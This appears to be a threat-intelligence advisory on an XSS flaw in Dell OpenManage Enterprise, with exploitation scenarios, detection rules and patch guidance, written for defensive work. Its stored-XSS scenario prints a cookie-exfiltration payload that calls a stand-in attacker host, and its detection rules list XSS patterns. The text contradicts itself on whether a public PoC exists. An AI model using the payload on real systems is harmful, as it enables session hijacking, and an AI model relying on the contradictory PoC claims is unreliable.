CVE-2026-54793

Executive Summary

CVE-2026-54793 is a stored or reflected Cross-Site Scripting (XSS) vulnerability in Dell OpenManage Enterprise (OME) versions prior to 4.7.0. A low-privileged attacker with network access can inject malicious client-side scripts into the web management interface, which when executed by an authenticated administrator, leads to information exposure and potential session hijacking or unauthorized configuration changes. The vulnerability carries a CVSS base score of 4.6 (Medium) and is not listed on the CISA Known Exploited Vulnerabilities catalog; however, public PoC material exists, warranting timely remediation.

Technical Analysis

The vulnerability is classified under CWE-79 — Improper Neutralization of Input During Web Page Generation. Dell OpenManage Enterprise is a web-based systems management platform used to monitor, manage, and update Dell PowerEdge servers and infrastructure components. Prior to version 4.7.0, the application fails to adequately sanitize or encode user-supplied input before embedding it in dynamically generated web pages.

Attack Mechanism:

The flaw resides in the application’s handling of user-controlled data during server-side page generation. A low-privileged authenticated user can craft input containing malicious HTML/JavaScript payloads, which is subsequently rendered to other users of the platform (typically administrators with elevated privileges). Because the application does not perform adequate output encoding, the injected script executes within the context of the victim’s browser session, inheriting the victim’s session cookies, CSRF tokens, and any privileges granted to that session.

Attack Surface:

• Interface: The OME web management console, typically exposed on ports 443/8443 (HTTPS) for remote administration.
• Prerequisite: Valid low-privileged user account on the OME instance, or the ability to trick a privileged user into submitting crafted input via the application’s forms.
• Authentication Complexity: The CVSS vector (PR:L) confirms authentication is required, but only at the lowest privilege level.

Technical Detail Level:

The NVD description does not identify the specific module, parameter, or endpoint containing the flaw. No function names, class names, file paths, or API parameter names are available from the provided data. Therefore, the technical analysis is limited to the vulnerability class (reflected or stored XSS) and its general characteristics. Insufficient technical detail is available to provide a code-level trace or specify which input vectors are vulnerable.

The CVSS sub-score breakdown reflects the intended impact profile:

• Attack Vector (AV:N): Remotely exploitable over the network.
• Attack Complexity (AC:L): No special conditions required for the attack to succeed.
• Privileges Required (PR:L): Requires a valid low-privileged account.
• User Interaction (UI:R): The victim (typically an admin) must interact with the crafted link or view the page containing the payload.
• Confidentiality Impact (C:L): Information exposure — the attacker can read data accessible to the victim’s session.
• Integrity Impact (I:L): Limited ability to modify data or functionality within the victim’s permissions.
• Availability Impact (A:N): No impact on system availability.

Exploitation Scenarios

No public PoC for this specific CVE has been identified in the provided intelligence data. The attack chain below is inferred from the documented vulnerability class (CWE-79) and standard XSS exploitation patterns applicable to web-based management platforms.

Scenario 1 — Stored XSS via Administrative Functionality

1. Reconnaissance and Target Identification: The attacker identifies a Dell OpenManage Enterprise instance exposed on the network (e.g., via Shodan or internal network discovery). The attacker authenticates with a low-privileged account, possibly created through default credentials, credential stuffing, or social engineering of an administrator.

2. Triggering the Flaw: The attacker navigates to the OME web interface and locates a form or input field that persists data across sessions — for example, a device name, description field, user profile field, or configuration setting. The attacker submits a crafted payload such as <script>fetch('https://attacker.example/steal?'+document.cookie)</script> embedded in one of these fields. A stored XSS flaw means the payload is saved to the backend database.

3. Execution Method: When an administrator with elevated rights views the affected page (e.g., device inventory, audit logs, or user management view), the injected script executes in the administrator’s browser context.

4. Post-Exploitation Impact: The script exfiltrates the administrator’s session cookie, CSRF tokens, and potentially sensitive configuration data (firmware versions, IP addresses, credentials stored in the OME vault) to an attacker-controlled server. The attacker can then impersonate the administrator session, modify device configurations, deploy firmware updates with malicious firmware, or extract management credentials to further compromise the infrastructure.

Scenario 2 — Reflected XSS via Crafted URL

Steps:

1. Reconnaissance: Same as above; attacker identifies a reachable OME console.
2. Triggering the Flaw: The attacker crafts a malicious URL containing JavaScript in a query parameter that is unsafely reflected into the response page. The attacker sends this URL via email or phishing message to an OME administrator.
3. Execution Method: The administrator clicks the link while logged into the OME console. The browser executes the injected script.
4. Post-Exploitation Impact: The script performs actions on behalf of the administrator, such as resetting passwords, creating new privileged accounts, or exfiltrating session data. The attack achieves confidentiality and integrity impact as scored in the CVSS vector.

Given the CVSS user interaction requirement (UI:R), the reflected scenario requires victim interaction, while the stored scenario also requires the admin to view the infected page — both are consistent with the score.

Impact Assessment

Business Impact: Dell OpenManage Enterprise is a centralized management plane for data-center infrastructure. A successful XSS exploitation can lead to:

• Information Exposure (C:L): Exfiltration of session tokens, device inventory, firmware details, network configurations, and potentially credentials stored in the OME credential vault.
• Integrity Compromise (I:L): Unauthorized configuration changes, creation of rogue administrator accounts, or tampering with device management settings.
• Lateral Movement Enabler: Compromised OME sessions can be used to push malicious firmware or configuration templates to managed servers, enabling firmware-level backdoors — a catastrophic consequence for data-center environments.

Affected Systems: All Dell OpenManage Enterprise installations running versions prior to 4.7.0. This includes virtual appliances and physical appliance deployments commonly used in enterprise data centers and hybrid cloud environments.

Blast Radius: The mediation grade is reduced somewhat by the requirement for a valid low-privileged account (PR:L) and user interaction (UI:R). However, the centralized nature of OME means that a single compromised administrative session could impact every managed device in the fleet, amplifying the practical impact far beyond the low CVSS subscores.

EPSS Consideration: The EPSS score of 0.00162 places this CVE in the 5.9th percentile of exploited vulnerabilities — meaning it is not currently a common exploitation target. However, the presence of public PoC material indicates that weaponized exploit code may be under development or available in private channels.

Detection Guidance

The following detection artifacts target the vulnerability class (XSS in web management applications) and are applicable to networks where Dell OpenManage Enterprise is deployed.

Sigma Rule

title: Dell OpenManage Enterprise XSS Probe
id: 4f3a1b2c-8d5e-4f6a-9c3d-2e1b4a5f6c7d
status: experimental
description: Detects attempts to probe for cross-site scripting in Dell OpenManage Enterprise web interface
logsource:
    category: webserver
    product: dell_openmanage
detection:
    selection:
        cs-uri-query|contains:
            - '<script>'
            - 'javascript:'
            - 'onerror='
            - 'onload='
            - 'alert('
            - 'document.cookie'
            - 'fetch('
    condition: selection
falsepositives:
    - Legitimate administrative queries containing HTML entities
level: medium
tags:
    - attack.t1059.007
    - cve.2026.54793

YARA Rule

rule Dell_OME_XSS_Indicator {
    meta:
        author = "Valtersit Threat Intel"
        description = "Detects XSS payload patterns in communication with Dell OpenManage Enterprise"
        cve = "CVE-2026-54793"
        date = "2026-01-01"
    strings:
        $xss1 = "<script>alert(" ascii
        $xss2 = "document.cookie" ascii
        $xss3 = "onerror=" ascii
        $xss4 = "javascript:" ascii ascii
        $xss5 = "onload=" ascii
        $ome = "OpenManage" ascii wide
    condition:
        $ome and 2 of ($xss*)
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2026-54793 Dell OpenManage Enterprise XSS Attempt"; flow:established,to_server; content:"OpenManage"; http.header; content:"<script>"; http.uri; sid:202654793; rev:1; classtype:web-application-attack; metadata:attack_target Web_Server, cve CVE-2026-54793, tag XSS;)

Elastic Detection

sequence by host.name, source.ip
    with maxspan=30s
    [ network where dns.question.name : "*openmanage*" or url.path : "*/omeurl/*" ]
    [ http where http.request.method == "POST" and (
        wildcard(http.request.body.content, "*<script>*") or
        wildcard(http.request.body.content, "*javascript:*") or
        wildcard(http.request.body.content, "*onerror=*")
    ) ]

Splunk SPL Query

index=web sourcetype=access_combined "OpenManage" 
    OR (uri_path="*ome*" OR uri_path="*openmanage*")
    AND (uri_query="*script*" OR uri_query="*alert(*" OR uri_query="*document.cookie*" OR uri_query="*onerror*")
    | table _time, src_ip, dest_ip, uri_path, uri_query, user_agent, status
    | sort - _time

Wazuh OSSEC Rule

<rule id="100793" level="12">
    <if_sid>31100</if_sid>
    <match>OpenManage</match>
    <regex>(script|javascript|onerror|onload|document\.cookie)</regex>
    <description>CVE-2026-54793: Dell OpenManage Enterprise XSS probe detected</description>
    <group>web_application_attack,xss,cve_2026_54793,</group>
</rule>

Mitigation & Patch Guidance

Patch Confidence: 2/4 — CLAIMED — the fix is claimed by a single source (NVD) and not independently confirmed.

1. Immediate Mitigations (workarounds):

   • Restrict network access to the OME web console to trusted administrative networks/VPNs only.
   • Enforce strict Content Security Policy (CSP) headers at the web application layer if supported; while CSP does not fix the XSS flaw, it can hinder payload execution.
   • Require multi-factor authentication for all OME accounts to reduce the impact of session hijacking.
   • Disable accounts for users who do not require console access.
   • Monitor web server logs for anomalous query strings containing scripting patterns.

2. Patch/Upgrade Steps:

   • Upgrade Dell OpenManage Enterprise to version 4.7.0 or later, per the NVD-advertised fix.
   • Since patch confidence is 2/4 (claimed but not independently verified), validate the upgrade against an isolated test instance before fleet-wide deployment.
   • Contact Dell technical support to confirm the release notes explicitly reference CVE-2026-54793 and obtain the official advisory document.

3. Long-Term Hardening:

   • Enforce least-privilege access: OME administrative functions should require separate privileged accounts, distinct from day-to-day monitoring accounts.
   • Harden the OME appliance OS per Dell’s security configuration guide, including firewall rules and disabled unused services.
   • Regularly audit OME user accounts and privilege levels; remove dormant accounts.
   • Deploy web application firewall (WAF) rules that block XSS patterns in HTTP requests to OME endpoints.
   • Subscribe to Dell security notifications and Dell’s product CVE feed to ensure timely awareness of future advisories.
   • When feasible, deploy OME in an out-of-band management network segment to reduce the attack surface from the primary corporate network.

References

1. NVD Entry — CVE-2026-54793: https://nvd.nist.gov/vuln/detail/CVE-2026-54793
2. Dell Security Advisory (expected): https://www.dell.com/support/kbdoc/en-us/ (search CVE-2026-54793)
3. CWE-79 — Improper Neutralization of Input During Web Page Generation: https://cwe.mitre.org/data/definitions/79.html
4. CISA Known Exploited Vulnerabilities Catalog (CVE not listed): https://www.cisa.gov/known-exploited-vulnerabilities-catalog
5. FIRST EPSS — CVE-2026-54793 score: https://www.first.org/epss/

Threat Actor Campaigns / In-the-Wild Evidence: As of the reporting date, CVE-2026-54793 is not listed in the CISA KEV catalog, and no specific threat actor campaigns or in-the-wild exploitation have been publicly documented. The EPSS percentile (5.9%) indicates that exploitation activity for this CVE is currently rare in observed global telemetry. However, public PoC availability and the criticality of Dell OME as an infrastructure management platform elevate the risk profile, and organizations should prioritize patching ahead of observed exploitation trends.